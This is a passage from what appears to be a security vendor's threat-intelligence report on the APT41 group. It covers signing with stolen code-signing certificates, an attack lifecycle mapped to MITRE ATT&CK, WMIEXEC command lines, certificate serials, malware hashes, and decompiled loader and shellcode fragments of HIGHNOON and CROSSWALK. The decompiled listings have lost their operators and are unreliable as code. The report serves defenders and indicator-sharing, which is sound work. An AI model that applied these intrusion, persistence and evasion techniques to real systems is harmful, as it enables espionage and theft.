H:\Double-V1\stone_srv\Bin\RbDoor64.pdb H:\Double\Door_wh\AppInit\x64\Release\AppInit.pdb H:\Double\Door_wh\RbDoorX64\x64\Release\RbDoorX64.pdb H:\Double\door_wh_kav\Bin\RbDoor64.pdb H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb H:\RBDoor\Anti_winmm\AppInit\AppInit\x64\Release\AppInit.pdb H:\RBDoor\Anti_winmm\AppInit\ShutDownEvent\x64\Release\ShutDownEvent.pdb H:\RbDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb H:\RbDoor\Anti_winmm\AppInit\RbDoorX64\Release\RbDoor.pdb H:\RbDoor\Anti_winmm\AppInit\ShutDownEvent\Release\ShutDownEvent.pdb H:\RbDoor\Lib\WMI_SSL\RemoteLib\bin\TestRjLib.pdb H:\Svn\Double-V1\stone_srv\Bin\RbDoor64.pdb Table 13.
APT41 samples with PDB paths containing RBDoor.
File MD5 Hash Malware 46a557fbdce734a6794b228df0195474 HIGHNOON 77c60e5d2d99c3f63f2aea1773ed4653 HIGHNOON a0a96138b57ee24eed31b652ddf60d4e HIGHNOON.BIN 7d51ea0230d4692eeedc2d5a4cd66d2d HIGHNOON.BIN 849ab91e93116ae420d2fe2136d24a87 HIGHNOON.BIN ba08b593250c3ca5c13f56e2ca97d85e JUMPALL f8c89ccd8937f2b760e6706738210744 GEARSHIFT 5b26f5c7c367d5e976aaba320965cc7f GEARSHIFT SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       39 Use of Code-Signing Certificates APT41 regularly leverages code-signing certificates to sign malware when targeting both gaming and non- gaming organizations.
Notably, most of the digital certificates being used in this manner are valid unrevoked digital certificates stolen from East Asia-based game development studios.
APT41 likely signs their malware to ensure compatibility with the targeted systems and to potentially avoid detection.
Microsoft requires all kernel-mode drivers to be signed in order to run on operating systems running Windows Vista or later.
The use of code-signing certificates can also significantly decrease the likelihood that a malicious payload is detected.
Although we do not have direct evidence of APT41 specifically targeting and stealing code-signing certificates, we have some indication from targeting of affected organizations within the same time frame that digital certificates are first compromised and used to sign malware.
Stealing private keys or compromising an organizations infrastructure to access and steal digital certificates abuses trust relationships between firms and certificate authorities.
Malicious files signed with valid digital certificates can circumvent automated scanning/ blocking solutions and bypass Windows group policies which restrict unsigned code from running.
Even when detected, malicious files signed by a digital certificate from a trusted partner or associated business are less likely to draw suspicion.
According to an advertisement in an underground marketplace, the success rate of installing a payload increases by as much as 50 percent when signing files with valid digital certificates.
In most cases, multiple digital certificates are issued to an organization using the same public name, making it more difficult to identify a compromised certificate among others with identical names.
Certificate authorities are responsible for revoking compromised digital certificates, although response times can vary greatly, and digital certificates can continue to be abused even long after they are first identified being misused.
Several malware samples were signed very close to the certificate issue date, suggesting that APT41 or a related actor had access to the private key or build environment at that time.
It is also possible the group acquired the private keys soon after they were issued.
In some cases, digital certificates were used to sign malware samples just before they expired, most likely indicating the actors were actively managing a library of digital certificates for this purpose.
Figure 18 depicts compile times of malware signed with compromised digital certificates within the time frame that the certificates were valid.
All of the certificates listed in the graphic have either been revoked or are currently expired.
Indicators associated with these certificates are listed in Technical Annex: Code Signing Certificates Used by APT41.
Alternatively, it is possible APT41 may have purchased the digital certificates used for signing malware within an underground market.
FireEye researchers found that code signing certificates are currently available for sale in underground marketplaces for as little as 399 USD, although ones that go through rigorous vetting can be sold for 1,699 USD.
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing 40 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 18: First observed malware samples signed with digital certificates (white) in relation to valid certificate dates (blue).
11/27/09 4/11/11 8/23/12 1/5/14 5/20/15 10/1/16 2/13/18 6/28/19 Electronics Extreme Limited Zepetto Co. En Masse Entertainment GameUS Inc. Shanda Games NetSarang Computer Wemade Entertainment Co. XL Games Co. Nanjing Ranyi Technology Co. Guangzhou YuanLuo Technology Co. Fuqing Dawu Technolofy Co. Mgame Corp Neowix Corporation xlgames Webzen Inc. Guangzhou YuanLuo Technology Co. YNK JAPAN Inc.
Observed Use Of Code Signing Certificates Certificate Validity Dates First Observed Malware Sample Signed with Compromised Certificate SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       41 Outlook and Implications APT41 is a dual threat demonstrating creativity and aggressiveness in carrying out both espionage campaigns and financially motivated operations.
The groups capabilities and targeting have both widened over time, signaling the potential for additional supply chain compromises affecting more victims in additional verticals.
APT41s links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them.
It is also possible that APT41 has simply evaded scrutiny from Chinese authorities.
Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.
42       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Attack Lifecycle Figure 19: APT41 attack lifecycle.
Initial Compromise Establish Foothold Escalate Privilege Internal Reconnaisance Complete Mission Move LaterallyMaintain Presence CHINACHOP Credential theft CVE-2019-3369 Spear-phishing Stolen credentials TeamViewer ADORE.XSEC CROSSWALK CROSSWALK.BIN FRONTWHEEL HIGHNOON HIGHNOON.BIN HIGHNOON.LINUX HOMEUNIX PACMAN PHOTO POISONPLUG POWERSPLOIT ROCKBOOT SOGU Scheduled tasks Startup files Sticky Keys Vulnerability Windows Registry modifications HIGHNOON SOGU Brute-force local admin account Creation of user accounts added to User and Admin groups Modification of the legitimate WMI Performance Adapter RDP Scheduled tasks Stolen credentials ACEHASH ASPXSpy Beacon CHINACHOP COLDJAVA CRACKSHOT CROSSWALK DEADEYE DOWNTIME EASYNIGHT Gh0st HIGHNOON HIGHNOON.LITE HIGHNOON.PASTEBOY HKDOOR HOTCHAI JUMPALL LATELUNCH LIFEBOAT LOWKEY njRAT PHOTO POISONPLUG POISONPLUG.SHADOW POTROAST SAGEHIRE SOGU SWEETCANDLE TERA TIDYELF WINTERLOVE XDOOR ZXSHELL PowerShell Sticky Keys Vulnerability ACEHASH GEARSHIFT Mimikatz NTDSDump PHOTO PwDump WINTERLOVE Bypass User Account Control Password hash dumping Windows Credential Editor (WCE) HIGHNOON SOGU WIDETONE Built-in Windows commands (ping, nestate, etc.)
Encryptor RaaS XMRIG Clear .bash_history files Clear Windows security and system event logs Compress data using RAR Credential theft Delete Scheduled tasks Intellectual property theft Modify DNS management to avoid anti-virus detection Steal in-game currencies SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       43 Initial Compromise APT41 leverages a variety of techniques to perform an initial compromise, including spear- phishing, moving laterally from trusted third parties, leveraging stolen credentials, using the CHINACHOP web shell, and accessing victim organizations using remote desktop sharing software, such as TeamViewer.
APT41 often relies on the use of simple spear-phishing email with attachments such as compiled HTML (.chm) files to initially compromise their victims.
However, once in a victim organization, the operation can leverage more sophisticated TTPs and deploy additional malware tools.
In a campaign running almost one year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.
We have observed TeamViewer credentials used as an entry point in multiple intrusions across industries.
In these instances, APT41 leveraged TeamViewer to transfer malware into the compromised environment, although we do not have direct evidence of APT41 compromising TeamViewer.
In July 2017, APT41 initiated a TeamViewer session and transferred files that were later deleted.
Filenames and creation times indicate that these may have been the HIGHNOON backdoor.
In May 2018, APT41 used TeamViewer for initial entry in the compromise of a healthcare company.
During this intrusion, APT41 started a TeamViewer session and shortly after transferred DLL files associated with the CROSSWALK backdoor to the victim environment before deploying CROSSWALK.
The group has leveraged several exploits in their operations.
Notably, APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence vulnerability was announced.
Observed Vulnerabilities CVE-2012-0158 CVE-2015-1641 CVE-2017-0199 CVE-2017-11882 CVE-2019-3396 APT41 compromised one organization and moved to a client environment.
44       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Establish Foothold APT41 uses a variety of malware and tools, both public and unique to the group, to establish a foothold with a victims environment, including: ASPXSpy ACEHASH Beacon CHINACHOP COLDJAVA CRACKSHOT CROSSWALK DEADEYE DOWNTIME EASYNIGHT Gh0st HIGHNOON.LITE HIGHNOON.PASTEBOY HOTCHAI HKDOOR JUMPALL LATELUNCH LIFEBOAT LOWKEY njRAT POISONPLUG POISONPLUG.SHADOW POTROAST SAGEHIRE SOGU SWEETCANDLE TERA TIDYELF XDOOR WINTERLOVE ZXSHELL APT41 has been observed using Linux and Windows variants of the same malware families, such as PHOTO and HIGHNOON.
The group often initially installs its backdoors to c:\ windows\temp.
We have observed APT41 attempting to masquerade their files and domains as popular anti-virus software:    APT41 appears to use the commercially available Beacon backdoor that is part of the Cobalt Strike pen-testing software platform.
In at least one instance, a server used for Beacon CC was also leveraged for CROSSWALK CC.
On multiple occasions, APT41 leveraged the Sticky Keys vulnerability and PowerShell to deploy malware families in victims environments.
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       45 Escalate Privileges APT41 escalates its privileges in systems by leveraging custom-made and publicly available tools to gather credentials and dump password hashes.
The tools include: ACEHASH GEARSHIFT GOODLUCK Mimikatz NTDSDump PHOTO PwDump WINTERLOVE Windows Credential Editor (WCE) APT41 frequently uses the Windows Credential Editor to dump password hashes from memory and authenticate other user accounts.
Internal Reconnaissance APT41 conducts network reconnaissance after using compromised credentials to log on to other systems.
The group leverages built-in Windows commands, such as netstat and net share, in addition to the custom and non-public malware families SOGU, HIGHNOON, and WIDETONE.
HIGHNOON includes the ability to collect host information by enumerating active Remote Desktop Protocol (RDP) sessions.
SOGU is capable of listing TCP and UDP network connections, respectively.
WIDETONE is capable of conducting port scans and password brute-force attacks and collecting network information.
It contains an embedded variant of a publicly available enumeration tool and can be run with the following options: -hbs option runs a port scan on the specified subnet.
-hscan scans the specified IP range for IPC and SQL services.
-enum queries a Windows host for requested information, such as users, groups/ members, policies, and more.
46       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Lateral Movement APT41 assesses the network architecture of an organization and identifies pivotal systems for enabling further access.
The group has repeatedly identified intermediary systems that provide access to otherwise segmented parts of an organizations network (as outlined in Case Study: Video Game Industry Targeting).
Once APT41 has identified intermediary systems, it moves quickly to compromise systems.
In one case, hundreds of systems across several geographic regions were compromised in as little as two weeks.
APT41 uses multiple methods to perform lateral movement in an environment, including RDP sessions, using stolen credentials, adding accounts to User and Admin groups, and password brute-forcing utilities.
The group will also use a compromised account to create scheduled tasks on systems or modify legitimate Windows services to install the HIGHNOON and SOGU backdoors.
We observed APT41 using a compromised account to create a scheduled task on a system, write a binary component of HIGHNOON containing the payload and CC information to disk, and then modify the legitimate Windows WMI Performance Adaptor (wmiApSrv) to execute the HIGHNOON payload.
APT41 frequently uses the publicly available utility WMIEXEC to move laterally across an environment.
WMIEXEC is a tool that allows for the execution of WMI commands on remote machines.
Examples of commands executed by the utility include: cmd.exe /c whoami  C:\wmi.dll 21 cmd.exe /c del C:\wmi.dll /F  nul 21 cmd.exe /c a.bat  C:\wmi.dll 21 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       47 Maintain Presence To maintain presence, APT41 relies on backdoors, a Sticky Keys vulnerability, scheduled tasks, bootkits, rootkits, registry modifications, and creating or modifying startup files.
APT41 has also been observed modifying firewall rules to enable file and printer sharing to allow for inbound Server Message Block (SMB) traffic.
APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA backdoors.
The bootkit performs raw disk operations to bypass the typical MBR boot sequence and execute the backdoors prior to the host operating system.
This technique was implemented to ensure the malware would execute at system runtime and was designed to be difficult to detect and prevent.
APT41 ROCKBOOT samples have been signed with legitimate code-signing certificates from MGame and Neowiz, two South Korean video game companies.
APT41 leveraged ADORE.XSEC, a Linux backdoor launched by the Adore-NG rootkit, throughout an organizations Linux environment.
The group installed the backdoor and the Adore-NG rootkit persistently by creating a hidden shell script in /etc/rc.d/init.d, a directory that contains the startup scripts for many system services.
The Adore-NG rootkit is used to hide the backdoor and authenticate any incoming connections using a provided password.
The group also uses CROSSWALK.BIN, FRONTWHEEL, HIGHNOON.BIN, HIGHNOON.
LINUX, HOMEUNIX, and PACMAN to maintain presence.
In some instances, APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment.
We observed APT41 use PowerSploit with the capability to use WMI as a persistence mechanism.
The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence.
APT41 has demonstrated it is highly agile, responding quickly to changes in victim environments and incident responder activity.
Hours after a victimized organization made changes to thwart APT41, the group registered a new CC domain, compiled a new SOGU backdoor variant, and deployed the new backdoor to several systems across multiple geographic regions.
APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online.
Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor, APT41 regained a foothold within the environment by installing PHOTO on the organizations servers across multiple geographic regions.
48       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Complete Mission APT41 has been observed creating a RAR archive of targeted files for exfiltration.
The group has also manipulated in-game currencies using the targets databases after compromising production environments.
During multiple engagements, APT41 attempted to remove evidence of some of its activity by deleting Bash histories, clearing Windows security and system events, and modifying DNS management to avoid anti-virus detections.
In at least one instance, the group attempted to deploy Encryptor RaaS.
However, an operators typo prevented the ransomware from executing in the victims environment.
In another instance, APT41 deployed XMRig, a Monero cryptocurrency mining tool in a victims environment.
Avoiding CC Detection At times APT41 uses legitimate websites, such as GitHub, Pastebin, and Microsoft TechNet, to avoid detection.
Interestingly, some of the groups POISONPLUG malware samples leverage the Steam Community website associated with Valve, a video game developer and publisher.
This technique of storing encoded or encrypted strings, known as dead drop resolvers (DDR), on legitimate websites that can subvert network defenders as traffic to and from the sites is typically benign.
The group has also configured Linux backdoors to run on ports used by legitimate applications within victim environments, enabling malicious traffic to bypass network security measures and hide malicious activity within the organizations regular application traffic.
Preventing Anti-Virus Updates Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy, APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1.1.1.1.
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       49 TECHNICAL ANNEX MITRE ATTCK Mapping Initial Access t1190 Exploit Public-Facing Application t1133 External Remote Services t1193 Spear-phishing Attachment t1195 Supply Chain Compromise t1199 Trusted Relationship t1078 Valid Accounts Privilege Escalation t1134 Access Token Manipulation t1015 Accessibility Features t1038 DLL Search Order Hijacking t1034 Path Interception t1055 Process Injection t1078 Valid Accounts t1100 Web Shell Execution t1059 Command-Line Interface t1223 Compiled HTML File t1106 Execution through API t1129 Execution through Module Load t1203 Exploitation for Client Execution t1061 Graphical User Interface t1170 Mshta t1086 PowerShell t1053 Scheduled Task t1085 Rundll32 t1064 Scripting t1035 Service Execution t1204 User Execution t1047 Windows Management Instrumentation Persistence t1015 Accessibility Features t1098 Account Manipulation t1067 Bootkit t1136 Create Account t1038 DLL Search Order Hijacking t1133 External Remote Services t1179 Hooking t1031 Modify Existing Service t1050 New Service t1034 Path Interception t1108 Redundant Access t1060 Registry Run Keys / Start Folder t1165 Startup Items t1078 Valid Accounts t1100 Web Shell 50       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Collection t1119 Automated Collection t1213 Data from Information Repositories t1005 Data from Local System t1056 Input Capture t1113 Screen Capture Credential Access t1098 Account Manipulation t1110 Brute Force t1003 Credential Dumping t1081 Credentials in Files t1056 Input Capture t1145 Private Keys Discovery t1087 Account Discovery t1482 Domain Trust Discovery t1083 File and Directory Discovery t1069 Permission Groups Discovery t1057 Process Discovery t1063 Security Software Discovery t1082 System Information Discovery t1016 System Network Configuration Discovery t0149 System Network Connections Discovery t1033 System Owner/User Discovery t1124 System Time Discovery t1497 Virtualization and Sandbox Evasion Command and Control t1043 Commonly Used Port t1090 Connection Proxy t1094 Custom Command and Control Protocol t1132 Data Encoding t1001 Data Obfuscation t1483 Domain Generation Algorithms t1219 Remote Access Tools t1105 Remote File Copy t1071 Standard Application Layer Protocol t1032 Standard Cryptographic Protocol t1095 Standard Non-Application Layer Protocol t1065 Uncommonly Used Port Lateral Movement t1075 Pass the Hash t1076 Remote Desktop Protocol t1105 Remote File Copy Exfiltration t1002 Data Compressed t1022 Data Encrypted t1041 Exfiltration Over Command and Control Channel Impact t1487 Data Encrypted for Impact Defense Evasion t1134 Access Token Manipulation t1009 Binary Padding t1146 Clear Command History t1116 Code Signing t1140 Deobfuscate / Decode Files or Information t1089 Disabling Security Tools t1038 DLL Search Order Hijacking t1073 DLL Side-Loading t1107 File Deletion t1054 Indicator Blocking t1070 Indicator Removal on Host t1036 Masquerading t1112 Modify Registry t1170 Mshta t1027 Obfuscated Files or Information t1055 Process Injection t1014 Rootkit t1085 Rundll32 t1064 Scripting t1045 Software Packing t1099 Timestomp t1078 Valid Accounts t1497 Virtualization and Sandbox Evasion t1102 Web Service SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       51 TECHNICAL ANNEX Code-Signing Certificates Used by APT41 Table 14.
Code-signing certificates used by APT41.
Serial Common Name Issue Date Expiry Date Status 0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35 Guangzhou YuanLuo Technology Co. 6/12/12 6/12/13 Revoked 18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2 Webzen Inc. 8/2/11 9/30/13 Revoked 63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa xlgames 7/5/11 7/4/12 Revoked 5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6 Neowiz CORPORATION 11/16/11 12/15/12 Expired 01:00:00:00:00:01:30:73:85:f7:02 Mgame Corp 6/9/11 6/9/12 Expired 4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5 Fuqing Dawu Technology Co. 1/31/13 1/31/14 Revoked 14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78 Guangzhou YuanLuo Technology Co. 10/22/13 10/22/14 Revoked 58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30 Nanjing Ranyi Technology Co. 8/8/12 8/8/13 Revoked 7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b XL Games Co. 6/21/12 6/21/13 Revoked 47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe Wemade Entertainment co. 3/2/14 1/9/16 Revoked 53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80 NetSarang Computer 10/13/16 11/12/18 Revoked 30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04 Shanda Games 10/29/13 12/27/16 Revoked 54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e GameUS Inc 5/15/14 7/13/16 Expired 1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f En Masse Entertainment 2/3/15 4/5/17 Expired fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00 Zepetto Co. 5/10/18 7/1/19 Expired 25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37 Electronics Extreme Limited 1/20/17 1/20/19 Expired 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d YNK JAPAN Inc 11/27/09 11/27/11 Revoked 52       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Additional Malware Overlaps Figure 20: HIGHNOON.
BIN and HIGHNOON.LITE in memory DLL loading function.
Background Throughout the course of our analysis, we consolidated multiple malware families into a single family with variants based on identified overlaps.
Some of the malware families, such as HIGHNOON, are shared with other suspected Chinese espionage groups.
The malware families contain similar functionalities, code overlaps, and encoding routines.
Detailed descriptions on specific malware families are listed as follows.
HIGHNOON HIGHNOON variants include HIGHNOON.LITE, HIGHNOON.BIN, HIGHNOON.PASTEBOY, HIGHNOON.
CLI, and HIGHNOON.LINUX.
Some of the variants, such as HIGHNOON.BIN, were used by multiple suspected Chinese groups, including APT41 and APT17.
HIGHNOON.BIN and HIGHNOON.LITE HIGHNOON.BIN (MD5: 2862c9bff365dc8d51ba0c4953869d5d) and HIGHNOON.
LITE (MD5: b5120174d92f30d3162ceda23e201cea) contain an identical in memory DLL loading function, which can be seen in Figure 20.
8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 char v7 // [esp60h] [ebp-Ch] _DWORD v8 // [esp68h] [ebp-4h] if ( a1 ) return 0 v7  (char )a1  a1[15] IpAddress  (char )VirtualAlloc(((LPVOID )v7  13), ((_DWORD )v7  20), 0x2000u, 0x40u) if ( IpAddress ) IpAddress  (char )VirtualAlloc(0, ((_DWORD )v7  20), 0x2000u, 0x40u) if ( IpAddress ) return 0 v2  GetProcessHeap(): v8  HeapAlloc(v2, 0, 0x14u) v8[1]  IpAddress v8[3]  0 v8[2]  0 v8[4]  0 VirtualAlloc(IpAddress, ((_DWORD )v7  20), 0x1000u, 0x40u) Dst  (char )VirtualAlloc(IpAddress, ((_DWORD )v7  21), 0x1000u, 0x40u memcpy(Dst, a1, ((_DWORD )v7  21)  a1[15]) v8  Dst[a1[15]] (_DWORD )(v8  52)  IpAddress sub_4020A0(a1, v7, v8) v4  (int)IpAddress[-((_DWORD )v7  13)] if ( v4 ) sub_402320(v8, v4) if ( sub_402320(v8) )  sub_4021C0(v8) if ( (_DWORD )(v8  40) ) return v8 v3  IpAddress[(_DWORD )(v8  40)] if ( v3  ((int (__stdcall )(char , int, _DWORD))v3)(IpAddress, 1, 0) )  v8[4]  1 return v8   sub_402740(v8) return 0  00002084 t_in_memory_DLL_loader46 (402084) char v8 // ecx int v9 // eax char v10 // eax char v11 // [esp10h] [ebp-4h] v1  (char )a1  a1[15] v2  (char )VirtualAlloc(((LPVOID )v1  13), ((_DWORD )v1  20), 0x2000u, 0x40u) v11  v2 if ( v2 )  result  (char )VirtualAlloc(0, ((_DWORD )v1  20), 0x2000u, 0x40u) v11  result if ( result ) return result v2  result  v4  GetProcessHeap() v5  (int )HeapAlloc(v4, 0, 0x14u) v5[1]  (int)v2 v5[3]  0 v5[2]  0 v5[4]  0 VirtualAlloc(v2, ((_DWORD )v1  20), 0x1000u, 0x40u) v6  (char )VirtualAlloc(v2, ((_DWORD )v1  21), 0x1000u, 0x40u) qmemcpy(v6, a1, a1[15]  ((_DWORD )v1  21)) v7  (int)v6[a1[15]] v5  v7 (_DWORD )(v7  52)  v11 sub_10002150((int)a1, (int)v1, v5) v8  (char )((_DWORD )v1  13) if ( v11  v8 ) sub_10002370(v5, v11 - v8) if ( sub_100023F0(v5) ) goto LABEL_10 sub_100022B0(v5) v9  (_DWORD )(v5  40) if ( v9 )  v10  v11[v9] if ( v10  ((int (__stdcall )(char , int, _DWORD))v10)(v11, 1, 0) )  ABEL _10 sub_100025B0(v5) return 0  v5[4]  1  return (char )v5 000021BF sub_1000020B052 (100021BF) 53SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION HIGHNOON (MD5: df143c22465b88c4bdb042956fef8121) uses an API hashing algorithm to resolve its imports at runtime, but the layout of the in-memory DLL loading functionality is identical between HIGHNOON, HIGHNOON.
BIN, and HIGHNOON.LITE samples (Figure 21).
The specific samples of HIGHNOON, HIGHNOON.BIN, and HIGHNOON.
LITE referenced previously are not attributed to APT41 but are instead used by other suspected Chinese groups.
Figure 21: HIGHNOON DLL loading function.
resolve_APIS(): v3  (_DWORD )((char )a1  a1[15]) v4  (_DWORD )VirtualAlloc(v3[13], v3[20].
0x2000, 0x40) if ( v4 )  result  (_DWORD )VirtualAlloc(0, v3[20], 0x2000, 0x40) if ( result ) return result v4  result  v6  (void )GetProcessHeap(0, 0x14) v7  HeapAlloc(v6, v13, v14) v7[1]  v4 v7[3]  0 v7[2]  0 v7[4]  0 VirtualAlloc(v4, v3[20], 0x1000, 0x40) v8  (char )VirtualAlloc(v4, v3[21], 0x1000, 0x40) qmemcopy(v8, a1, a1[15]  v3[21]) v9  (int)v8[(_DWORD )(a3  60)] v7  v9 (_DWORD )(v9  52)  a1 sub_100016A0(a3, v3, v7) v10  (char )v3[13] if ( a1  (_DWORD )v10 ) sub_10001830(v7, (char )a1 - v10) if ( sub_10001770(v7) ) return 0 sub_10001770(v7) v11  (_DWORD )(v7  40) if ( v11 )  v12  (char )a1  v11 if ( v12  ((int (cdec1 )(_DWORD , int, _DWORD))v12)(a1, 1, 0) ) return 0 v7[4]  1  return v7  HIGHNOON and HIGHNOON.LITE also share the same configuration encoding routine.
HIGHNOON, HIGHNOON.LITE, and HIGHNOON.BIN store a unique host identifier under the registry key HKLM\SOFTWARE\Microsoft\HTMLHelp 54       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION HIGHNOON.LINUX and HIGHNOON HIGHNOON.LINUX is a Linux variant of HIGHNOON that shares multiple component overlaps with HIGHNOON.
HIGHNOON.LINUX and HIGHNOON share a message component that use the same headers and XOR encoding.
The two share a transport component that provides HTTP, Fake TLS, and raw protocol options.
HIGHNOON.LINUX and HIGHNOON share a similar commands component.
The code for processing the commands Tunnel and Plus (to add plugins) are nearly identical.
CROSSWALK and CROSSWALK.BIN CROSSWALK and CROSSWALK.BIN share several notable overlaps.
Significantly, the two code families share a large amount of code in their respective shellcode components (Figure 22).
Shellcode Component Overlaps The shellcode that handles CC messages uses the same function in both families.
Interestingly, additional functions used for CC in CROSSWALK.BIN are present within CROSSWALK but unused.
This suggests the families are slightly different builds originating from the same codebase.
CROSSWALK.BINs user-mode shellcode and the shellcode appended at the end of CROSSWALK contain approximately three-fourths of the same code.
Both CROSSWALK and CROSSWALK.BINs backdoors are implemented through user-mode shellcode.
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       55 Figure 22: CROSSWALK (left) and CROSSWALK.BIN (right) shellcode.
37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 __int64 v37 // [rsp58h] [rbp10h] v37  a2 v2  0 v3  a1[47]  1 v4  a1 strcopy(v36, ok1234\n) if ( v3 )  LABEL_14: if ( cgp_dyn_resolve_maybe_03(v4)  0 ) return v2 v24  v4[24] v25  (v4  13) v26  v4[48] (v4   11)  v4 (v4 10)  v4 - v24 v27  v4  v25 - v24 v28  ((v4  31))(0i64, v26, 4096i64, 4i64) (v4  25)  v28 if ( v28 ) return v2 v29  v4[25] v30  (v4  28) if ( v29  0 )  v31  v27 do  v31  v30 --v29:  while ( v29 )  if ( sub_BBA0(v4, v27)  0 ) return v2 v32  v4[25] v33  (v4  28) if ( v32  0 )  do  v27  v33 --v32:  while ( v32 )  ((v4  25)  2032i64)  (v4  17)  v4  10) (v4  35)  (v4  17)  (v4  10) (((v4  25)  752i644))(32775i64) v34   (((v4  25)  32i64))(0i64, 0i64, (v4  10)  (v4  95), v4, 0, 0i64) ((v4  35))(v36) (((v4  25)  272i64))(v34, 0xFFFFFFFFi64) (((v4  25)  48i64))(v24) v2  1 return v2  v5  a1[12] v6  a1[13] v7  a1[11] v8  v4[24] v9  v4[19] v10  v4[25] v4[12]  v7 v11  v10  v9  v8 v4[13]  v7 v12  0 v13  v10  v9  v8 v14  v4 - v8 do  v15  v14 v12  v15  __ROR4__(v12, v7) --v13  while ( v13 ) if ( v6  v12 ) return v2 v16  v4  48 v17  v9  v10 - 192 v18  v17 if ( v17  0 )  v19  v4[14] 0000B60A cgp_decode_shellcode:62 (B60A) 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 __int64 v39 // [rsp58h] [rbp10h] v39  a2 v2  0 v3  a1[47]  1 v4  a1 strcopy(v38, ok1234\n) if ( v3 )  LABEL_14: if ( cgp_dyn_resolve_maybe_03(v4)  0 ) return v2 v24  v4[24] v25  (v4  13) v26  v4[48] (v4   11)  v4 (v4 10)  v4 - v24 v27  v4  v25 - v24 v28  ((v4  31))(0i64, v26, 4096i64, 4i64) (v4  25)  v28 if ( v28 ) return v2 v29  v4[25] v30  (v4  28) if ( v29  0 )  v31  v27 do  v31  v30 --v29:  while ( v29 )  if ( sub_8C58(v4, v27)  0 ) return v2 v32  v4[25] v33  (v4  28) if ( v32  0 )  do  v27  v33 --v32:  while ( v32 )  ((v4  25)  2032i64)  (v4  17)  v4  10) (v4  35)  (v4  17)  (v4  10) (((v4  25)  752i644))(32775i64) v34   (((v4  25)  